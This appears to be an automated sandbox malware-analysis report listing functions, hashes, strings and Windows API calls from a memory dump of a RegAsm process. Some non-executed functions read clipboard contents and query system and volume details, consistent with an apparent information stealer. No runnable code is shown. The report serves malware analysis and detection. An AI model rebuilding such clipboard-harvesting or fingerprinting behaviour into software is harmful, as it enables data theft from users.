API String ID: 621844428-3969398216
Opcode ID: 4e885f4b103528a34ba8b05d68ad07885692d717e93b6dc83f6bf867971cc171
Instruction ID: e062613535a096f7c986de94b394a9a3299ac3684046ad9440d4ee051fa42249
Opcode Fuzzy Hash: 4e885f4b103528a34ba8b05d68ad07885692d717e93b6dc83f6bf867971cc171
Instruction Fuzzy Hash: F1220760508BC1CED726CF388498702BFA16B56224F1887DDD8E94F7E7C3799406CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00409240 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 004092BA

Strings

often in other is that on their similarity resemblance system or of on replacements the reflection used ways or it internet. uses play of spellings primarily eleet leetspeak, the character via modified a glyphs, xrefs: 0040927D

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: ExitProcess
String ID: often in other is that on their similarity resemblance system or of on replacements the reflection used ways or it internet. uses play of spellings primarily eleet leetspeak, the character via modified a glyphs
API String ID: 621844428-3137510881
Opcode ID: 59d31c83763740c401a164c8abda1a317b471818f0df02a94b0c3ec7177b1887
Instruction ID: d46854307137c8737da70bb0dadd48020878a784c1cb78799af495398ee7fa65
Opcode Fuzzy Hash: 59d31c83763740c401a164c8abda1a317b471818f0df02a94b0c3ec7177b1887
Instruction Fuzzy Hash: 64F06871418200B7DA003B765A0765A7AA85F51314F11497FEDC1621C3EA7D4C46C66F

Uniqueness

Uniqueness Score: -1.00%

Function 0043890C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 65
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,00000000,FFFFFFFF), ref: 0043894D

Strings

+D, xrefs: 00438958
&QPS, xrefs: 00438940

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID: &QPS$+D
API String ID: 1279760036-1945338363
Opcode ID: 5a221c8c8d48a07bc67a1f36921e72f54b3f0ffb03ca822637087d99e5969acd
Instruction ID: 459049e7f1910dfcb695529ac4e7c087eddce05ed813d227b7292beb86339d8b
Opcode Fuzzy Hash: 5a221c8c8d48a07bc67a1f36921e72f54b3f0ffb03ca822637087d99e5969acd
Instruction Fuzzy Hash: 8C210CB4608340AFD748CF14D8A072BB7A2FB85324F649A2DE96647691CB399851CB86

Uniqueness

Uniqueness Score: -1.00%

Function 004340A8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 004340E2

Strings

C, xrefs: 004340A8
\, xrefs: 004340B0

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: InformationVolume
String ID: C$\
API String ID: 2039140958-514332402
Opcode ID: 1f089596534fe024055dce1adbee186e85238b9520941c24a8e10a22622ed5ef
Instruction ID: 0b16e51853d0470085fd2b4e6c78b332ddd4def9cb37a61542a3d6919008bdae
Opcode Fuzzy Hash: 1f089596534fe024055dce1adbee186e85238b9520941c24a8e10a22622ed5ef
Instruction Fuzzy Hash: DFE09275350741BBE728DF10EC27F1A3690D742744F10042CB242E91D0C7F57D108A5D

Uniqueness

Uniqueness Score: -1.00%

Function 004261A1 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 440COMMON

Download Yara Rule

Strings

!/$*, xrefs: 004269FC

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: !/$*
API String ID: 0-545799914
Opcode ID: ba954ffb2ea977e785fb344dc988f3a74d89b07fdf3ede9a299b4b895ee98fb9
Instruction ID: b2e27cbc9dde12e33a9927742966e6e389a792aa4b3f0ff258c4c825271f69ae
Opcode Fuzzy Hash: ba954ffb2ea977e785fb344dc988f3a74d89b07fdf3ede9a299b4b895ee98fb9
Instruction Fuzzy Hash: C4F13870205B918EE7268F35D4A47E3BBE1BF17304F84499DD4EB8B282C77AA405CB55

Uniqueness

Uniqueness Score: -1.00%

Function 004265CC Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 373COMMON

Download Yara Rule

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 004266FC

Strings

!/$*, xrefs: 004269FC

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: !/$*
API String ID: 3960555810-545799914
Opcode ID: e16e771a1d8e5cca60c9eee4cf03313e5d8a22d2944b828cb098f366c51c4bae
Instruction ID: 466006afd69678fcb0a440aae3b801bbbbe4bedcac6f7be2defe912c2a8870dc
Opcode Fuzzy Hash: e16e771a1d8e5cca60c9eee4cf03313e5d8a22d2944b828cb098f366c51c4bae
Instruction Fuzzy Hash: 1DD137B0205B918EE7258F35D4A47E3BBE1BF17304F84496DD4EB8B282C77AA405CB55

Uniqueness

Uniqueness Score: -1.00%

Function 004383AD Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 76libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 004384B5

Strings

D1B7, xrefs: 00438412

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID: D1B7
API String ID: 1029625771-1785272153
Opcode ID: ba243289e261731e0f328ab571701020da0383182d802b1ebf38187e4b27abb8
Instruction ID: bda3516896a5f2ae45156be42eb04b2df876cef8185d1ab8fdc58d2902e9d8c2
Opcode Fuzzy Hash: ba243289e261731e0f328ab571701020da0383182d802b1ebf38187e4b27abb8
Instruction Fuzzy Hash: 722171B4518301ABD708DF10D9A171FBBE2FBCA708F14992CE48547351E7748D05DB8A

Uniqueness

Uniqueness Score: -1.00%

Function 004359F0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,00409E11), ref: 00435A87

Strings

&QPS, xrefs: 00435A48

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID: &QPS
API String ID: 1279760036-2176464483
Opcode ID: 69127a2621d4f876e4ea6e0d4522e800ef0ce33a1218fea6c99b8e6b414e8f95
Instruction ID: 3531a23c288a52d53f944b2c3e457840114f3fd3f8c40cca6c01df16574b446f
Opcode Fuzzy Hash: 69127a2621d4f876e4ea6e0d4522e800ef0ce33a1218fea6c99b8e6b414e8f95
Instruction Fuzzy Hash: B9114570108341AFD708CF04D8A0B6FBBE2FB85328F248A1DE8A507681C739D9199BC6

Uniqueness

Uniqueness Score: -1.00%

Function 0042E6AB Relevance: 3.1, APIs: 2, Instructions: 63COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL ref: 0042E6C5
GetSystemMetrics.USER32 ref: 0042E6D5

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: CallbackDispatcherMetricsSystemUser
String ID:
API String ID: 365337688-0
Opcode ID: c25e3d91eaef95e72eee0b40d5d97d098b1fba32fea2081f15efa1ce194b10f2
Instruction ID: c70253705267066fe0a390eb40da1e2c454f4fe67f9f49903ef1b4541bef4a9f
Opcode Fuzzy Hash: c25e3d91eaef95e72eee0b40d5d97d098b1fba32fea2081f15efa1ce194b10f2
Instruction Fuzzy Hash: 5F319BB46197408FD750EF39D985A1ABBF0BB89304F40892EE998C73A0E731A945CF46

Uniqueness

Uniqueness Score: -1.00%

Function 00438312 Relevance: 1.5, APIs: 1, Instructions: 36libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 00438356

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 2ec94da7954408cfae29368b1fe2093eb4b36237cb70dc7a0dbd9c2afcbb8aec
Instruction ID: 1610e8cb5096fc1eed96c977c505dcc91df5b75474227e367c2d36b4526b057e
Opcode Fuzzy Hash: 2ec94da7954408cfae29368b1fe2093eb4b36237cb70dc7a0dbd9c2afcbb8aec
Instruction Fuzzy Hash: 00F0A574209340ABD708DB14D69099FFBE2AFCAA49F24881DE48583306C734EC43AE4A

Uniqueness

Uniqueness Score: -1.00%

Function 0043914C Relevance: 1.5, APIs: 1, Instructions: 34memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(00000000,00000000), ref: 004391B5

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 59dc1c7f1cc53553e71521ab8106514bee450ab26b812539456e6df4fe94b9da
Instruction ID: da42185ebec8373d7b22ee920953178115992f0127cd58568fcf92c2ed0c5c99
Opcode Fuzzy Hash: 59dc1c7f1cc53553e71521ab8106514bee450ab26b812539456e6df4fe94b9da
Instruction Fuzzy Hash: 7B01D274508341AFE710CF14D88475BFBB2EBC6324F209E49E8A417695C3B5ED4A9B8A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0042DDE0 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 153clipboardCOMMON

Download Yara Rule

APIs

GetWindowInfo.USER32 ref: 0042DE34
OpenClipboard.USER32 ref: 0042DE46
GetClipboardData.USER32 ref: 0042DE6B
GlobalLock.KERNEL32 ref: 0042DE8C
GlobalUnlock.KERNEL32 ref: 0042DF8B
CloseClipboard.USER32 ref: 0042DF91

Strings

K, xrefs: 0042DEF9
N, xrefs: 0042DEF5
7, xrefs: 0042DEE5
I, xrefs: 0042DEE9
L, xrefs: 0042DEFD
8, xrefs: 0042DEED

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: Clipboard$Global$CloseDataInfoLockOpenUnlockWindow
String ID: 7$8$I$K$L$N
API String ID: 3829817484-2422513041
Opcode ID: 6bd769e2c866ad362b282a4a0c33327f7ba68ca5a8274088656c9bed962daec9
Instruction ID: 8ed9dd40b2239205a4d96c9da8700085f56f38dffb9234c430860a7af855d13a
Opcode Fuzzy Hash: 6bd769e2c866ad362b282a4a0c33327f7ba68ca5a8274088656c9bed962daec9
Instruction Fuzzy Hash: 0F5190B0A04740CFC721DF39D585616BBE0AF16314F548AADE8D68F796D334E805CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 0041EF19 Relevance: 15.5, Strings: 12, Instructions: 473COMMON

Download Yara Rule

Strings

)/, xrefs: 0041F30E
Ny0{, xrefs: 0041FA27
"u w, xrefs: 0041FA45
8a)c, xrefs: 0041FA63
.q#s, xrefs: 0041FA3B
4i:k, xrefs: 0041FA4F
bD, xrefs: 0041F90F
)m:o, xrefs: 0041FA59
H{, xrefs: 0041F923
GC, xrefs: 0041F92D
x!\', xrefs: 0041F066
[J, xrefs: 0041F919

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: "u w$)m:o$.q#s$4i:k$8a)c$GC$H{$Ny0{$[J$bD$x!\'$)/
API String ID: 0-3498391054
Opcode ID: 15b7895d50192fbd9e2686c79026486b2693e9a6a391717bdcf467abc5fd23ba
Instruction ID: 62964ce6587a9f6e8b4bc72a90dd2b3cf09b0a553c01e9630c29236c2bf44c9c
Opcode Fuzzy Hash: 15b7895d50192fbd9e2686c79026486b2693e9a6a391717bdcf467abc5fd23ba
Instruction Fuzzy Hash: D852FCB0205B858FE325CF25D494BD7BBE1BB06348F50892EC4EB5B645CB74A14ACF92

Uniqueness

Uniqueness Score: -1.00%

Function 0041FBB5 Relevance: 15.5, Strings: 12, Instructions: 465COMMON

Download Yara Rule

Strings

x!\', xrefs: 0041FD02
)/, xrefs: 0041FFA0
bD, xrefs: 0042059B
8a)c, xrefs: 004206EF
Ny0{, xrefs: 004206B3
.q#s, xrefs: 004206C7
"u w, xrefs: 004206D1
[J, xrefs: 004205A5
4i:k, xrefs: 004206DB
)m:o, xrefs: 004206E5
GC, xrefs: 004205B9
H{, xrefs: 004205AF

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: "u w$)m:o$.q#s$4i:k$8a)c$GC$H{$Ny0{$[J$bD$x!\'$)/
API String ID: 0-3498391054
Opcode ID: 17e1eef2c47546f5909f2ab459ea3df871a253adbcce23567c6d7a1e809ea18b
Instruction ID: 047a6880c081cc5f665bfd31f87bed186ae8e6b2cdbb109c5f5ad8525fb29fbb
Opcode Fuzzy Hash: 17e1eef2c47546f5909f2ab459ea3df871a253adbcce23567c6d7a1e809ea18b
Instruction Fuzzy Hash: 6F52FBB0205B858FE325CF25D494BD7BBE1BB06348F90891EC4EB5B646CB74A149CF92

Uniqueness

Uniqueness Score: -1.00%

Function 0040F7CD Relevance: 13.8, Strings: 11, Instructions: 100COMMON

Download Yara Rule

Strings

8MnO, xrefs: 0040F83F
3yZ{, xrefs: 0040F860
~w, xrefs: 0040F9F7
M-q/, xrefs: 0040F7EA
hI4K, xrefs: 0040F834
u=w, xrefs: 0040F881
u!|#, xrefs: 0040F7F2
9aBc, xrefs: 0040F8A2
q$s, xrefs: 0040F876
Hik, xrefs: 0040F88C
:m:o, xrefs: 0040F897

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: u=w$3yZ{$8MnO$9aBc$:m:o$Hik$M-q/$hI4K$u!|#$~w$q$s
API String ID: 0-1478902827
Opcode ID: 7fc9041370a3a3983846bac274a0ed910bcf7d3cbc2af6b240ce81c8c7474168
Instruction ID: a799ed0fff6447343bd514cbacf28bedb163b3e05e2a36f77cc3edbc9f46f7b9
Opcode Fuzzy Hash: 7fc9041370a3a3983846bac274a0ed910bcf7d3cbc2af6b240ce81c8c7474168
Instruction Fuzzy Hash: AA51EBB45193C19BE674CF11D891B9FBBA1BBC6340F608E1CD5D92B254CB30904ACF96

Uniqueness

Uniqueness Score: -1.00%

Function 00424240 Relevance: 9.0, Strings: 7, Instructions: 223COMMON

Download Yara Rule

Strings

4f, xrefs: 004243DF
##*8, xrefs: 00424317
&>95, xrefs: 0042432B
)5>Q, xrefs: 0042426B
7&"4, xrefs: 00424321
rr}t, xrefs: 00424411
8C, xrefs: 00424308

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID: ##*8$&>95$)5>Q$7&"4$8C$rr}t$4f
API String ID: 1279760036-3888404133
Opcode ID: 75e9084bf7dc8f8358964003a6f28c1663de380da6f4640a1865e0df872f19a1
Instruction ID: 3f6742af25c925c888f3af746ffa36932763abd1f696094f3cdaf422b2e53c93
Opcode Fuzzy Hash: 75e9084bf7dc8f8358964003a6f28c1663de380da6f4640a1865e0df872f19a1
Instruction Fuzzy Hash: 4D9157B4245B90CBE3268F25D4A0BE3BBE1FF56309F540A5DC4EB0B285C37AA4458F95

Uniqueness

Uniqueness Score: -1.00%

Function 0041D128 Relevance: 6.7, Strings: 5, Instructions: 493COMMON

Download Yara Rule

Strings

#m8j, xrefs: 0041D29D
"frc, xrefs: 0041D287
=ksw, xrefs: 0041D27C
&zqi, xrefs: 0041D292
deks, xrefs: 0041D2B3

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: "frc$#m8j$&zqi$=ksw$deks
API String ID: 0-420180677
Opcode ID: 24fb457cb41431979cf467ed9e60fa379f1c1d026843b3a604b61835dc222ffe
Instruction ID: c58cb54646a3eb14b49da7c51523dbab074ab8a0297049e6d9acae5f9d3fd762
Opcode Fuzzy Hash: 24fb457cb41431979cf467ed9e60fa379f1c1d026843b3a604b61835dc222ffe
Instruction Fuzzy Hash: B2029FB59083559FC324CF18C49076BBBE2BF86308F588A6DE4D59B391D738E841CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0043B470 Relevance: 4.1, Strings: 3, Instructions: 313COMMON

Download Yara Rule

Strings

gxyz, xrefs: 0043B4D8
R-,T, xrefs: 0043B520
R-,T, xrefs: 0043B620

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: R-,T$R-,T$gxyz
API String ID: 0-1473045628
Opcode ID: 0b0337f593c6df23082d4b75dc60b2b2baa32265b9c7ea5effac9dbe5e4e04d7
Instruction ID: d43682651e4d1bbcca935c21765318abaecc161b347944d4f0b38a11893cb63e
Opcode Fuzzy Hash: 0b0337f593c6df23082d4b75dc60b2b2baa32265b9c7ea5effac9dbe5e4e04d7
Instruction Fuzzy Hash: 77A1BC726043129BC715CF18C49076BB7A2FF88324F29961EE9959B391D738EC15CBCA

Uniqueness

Uniqueness Score: -1.00%

Function 00416E69 Relevance: 2.8, Strings: 2, Instructions: 266COMMON

Download Yara Rule

Strings

/9++, xrefs: 004170E7
756., xrefs: 004170E0

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: /9++$756.
API String ID: 0-2948954884
Opcode ID: a014cfe3effdd53ad0569a5c0da46c576056ff92ac18762d3f8e3a7eb364fc7e
Instruction ID: cbd01cd0f0e0f6a1cd8aef29ed4a15310b76b2b422a9a27135592bbd613474a8
Opcode Fuzzy Hash: a014cfe3effdd53ad0569a5c0da46c576056ff92ac18762d3f8e3a7eb364fc7e
Instruction Fuzzy Hash: CAB1A070508B418BD329CF35C0A17A3BBE2BF96354F148A5EC0E74B791C739A486CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0041B930 Relevance: 1.6, Strings: 1, Instructions: 325COMMON

Download Yara Rule

Strings

789:, xrefs: 0041BBB6

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 789:
API String ID: 0-2924019492
Opcode ID: b996def426ce6c93dfb3c0d2b8574bf75d36e5b31bc495960c58811c0470f269
Instruction ID: 418ff68b172b6724851a5f9b45def2009d2e8c16223b2686ec42ef28e0ca92a7
Opcode Fuzzy Hash: b996def426ce6c93dfb3c0d2b8574bf75d36e5b31bc495960c58811c0470f269
Instruction Fuzzy Hash: F981D1B1A042059BDB24DF14C892BBB73B4EF85324F08452DE9959B391E738ED41C7EA

Uniqueness

Uniqueness Score: -1.00%

Function 0041B2A0 Relevance: 1.6, Strings: 1, Instructions: 312COMMON

Download Yara Rule

Strings

?mlk, xrefs: 0041B3D6

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: ?mlk
API String ID: 0-3660313571
Opcode ID: 69b391067aedde1dc5241c6d9153a3fd8a133c152dfaad8eff51354b77e8172c
Instruction ID: 01c671782572adc667358f00788eb460e8e2c42b2d22e52cc5728f6b1ee1f78b
Opcode Fuzzy Hash: 69b391067aedde1dc5241c6d9153a3fd8a133c152dfaad8eff51354b77e8172c
Instruction Fuzzy Hash: 8D8105B15042148BDB14DF18C892BBB73B2EF95328F18825EE8964B391E739D845C7E6

Uniqueness

Uniqueness Score: -1.00%

Function 00410C5B Relevance: 1.5, Strings: 1, Instructions: 234COMMON

Download Yara Rule

Strings

JAF, xrefs: 0041237A

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: JAF
API String ID: 0-4103162853
Opcode ID: 9128636b99eb7f40b603839eac4711fe0728de6b55a2a56fef665d4a45b70235
Instruction ID: cfe4e2a8978f3ae7d713284cd87d2e3eb9195a7231fafb701f6cf529d3db3fb2
Opcode Fuzzy Hash: 9128636b99eb7f40b603839eac4711fe0728de6b55a2a56fef665d4a45b70235
Instruction Fuzzy Hash: 37816DB0500B009FE735CF24C490BA7B7F6BF45314F148A2ED4AA87681E779B998CB94

Uniqueness

Uniqueness Score: -1.00%

Function 004176E1 Relevance: 1.4, Strings: 1, Instructions: 103COMMON

Download Yara Rule

Strings

789:, xrefs: 0041772A

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 789:
API String ID: 0-2924019492
Opcode ID: 84606cd881d82e9bb318d4f0a26b9851e8aa3b96b1d02f44d570d103868ee779
Instruction ID: 7b78dbaa38c7b21beee6cf440ef457b437b28244ea0c7ae6acfcb896623c88e2
Opcode Fuzzy Hash: 84606cd881d82e9bb318d4f0a26b9851e8aa3b96b1d02f44d570d103868ee779
Instruction Fuzzy Hash: A631D079A04A408FD325CF24C895BA7B7F2EB46304F58896ED497C7792DB38E846CB44

Uniqueness

Uniqueness Score: -1.00%

Function 00413722 Relevance: 1.3, Strings: 1, Instructions: 77COMMON

Download Yara Rule

Strings

789:, xrefs: 0041374F

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 789:
API String ID: 0-2924019492
Opcode ID: 91002e8592419f02679266217e0656b05884a03e323483f8f31014a3a2b85d26
Instruction ID: 75855608be2bda6d97df851f8e3a2661acfeea8d70f422b91aa9a116a9652a2c
Opcode Fuzzy Hash: 91002e8592419f02679266217e0656b05884a03e323483f8f31014a3a2b85d26
Instruction Fuzzy Hash: 442162752107419BD725CF24C881BA7B3B2FF81305F284A1EE596A7785D7B9F841CB48

Uniqueness

Uniqueness Score: -1.00%

Function 0041347E Relevance: 1.3, Strings: 1, Instructions: 69COMMON

Download Yara Rule

Strings

789:, xrefs: 004134C0

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 789:
API String ID: 0-2924019492
Opcode ID: 6632e86e90320e603a285031c02ad9be3a03face611ce7db98c36edb2b210904
Instruction ID: 695dfa75bfd7b84a09a8389b6cc6ea945b72dffd246397d7a94960ee23ad2b5b
Opcode Fuzzy Hash: 6632e86e90320e603a285031c02ad9be3a03face611ce7db98c36edb2b210904
Instruction Fuzzy Hash: 3C21A134640B029BD7348F28C890BA7B7F2BB45315F14492CD2A787B92E379F8419B48

Uniqueness

Uniqueness Score: -1.00%

Function 00422B70 Relevance: 1.3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

Strings

h3E, xrefs: 00422BC3

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: h3E
API String ID: 0-1264096165
Opcode ID: 3f696112414c2176a47e66b299e801a383e415b346e735ebcf3c7c746a3e6efe
Instruction ID: 3c3bb655185b5af2888637fc8bac67708ee984c1cf6fe0d356e12da658f3a700
Opcode Fuzzy Hash: 3f696112414c2176a47e66b299e801a383e415b346e735ebcf3c7c746a3e6efe
Instruction Fuzzy Hash: 79F0C82020CBD19EC716CF299150676FFE0AF97605F1454CDD4D197362C21CD90ACB2A

Uniqueness

Uniqueness Score: -1.00%

Function 00422B54 Relevance: 1.3, Strings: 1, Instructions: 27COMMON

Download Yara Rule

Strings

h3E, xrefs: 00422BC3

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: h3E
API String ID: 0-1264096165
Opcode ID: d95b8c7dad6f27eaeeba518d165f6ea783b51c0a4d661dd6bbb858999750f331
Instruction ID: 364beef6f316d3f83652dd8aa71acb0ec1cc879e8a2107f1598c1c26b9198e98
Opcode Fuzzy Hash: d95b8c7dad6f27eaeeba518d165f6ea783b51c0a4d661dd6bbb858999750f331
Instruction Fuzzy Hash: B9E0223020C7908EC309CF28E110236FBE1AF9B600F2454DED4C2D73A2C228DA07CA1A

Uniqueness

Uniqueness Score: -1.00%

Function 0041403B Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

:^F, xrefs: 00414061

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: :^F
API String ID: 0-1832529195
Opcode ID: f8a9e0cc216a639e61236eec9da2288ad57904349f70ab7f3e7e58259bc75aec
Instruction ID: 7f238519bb71acc741d5806136ffcdbde4ed3e01776cef76c6de01323dd1d1f1
Opcode Fuzzy Hash: f8a9e0cc216a639e61236eec9da2288ad57904349f70ab7f3e7e58259bc75aec
Instruction Fuzzy Hash: 4BE01A5594F3C05FD7079B306C668A67F3A4BC7204B0E40EBD589CB2A3C4384A2DD36A

Uniqueness

Uniqueness Score: -1.00%

Function 00411739 Relevance: .5, Instructions: 509COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 068fec51292eb0153f786f845102b85ca71fb8b30bd3bb33e2b1e054605888a3
Instruction ID: 0ed494a6543ca339513086986a4129f0b880fa6df34ef5ec732637b97b238257
Opcode Fuzzy Hash: 068fec51292eb0153f786f845102b85ca71fb8b30bd3bb33e2b1e054605888a3
Instruction Fuzzy Hash: BD127D71250B008BE325CF24C4917E7B7F2BF85304F088A2DD4AB87691EB7AB559CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00417BF5 Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

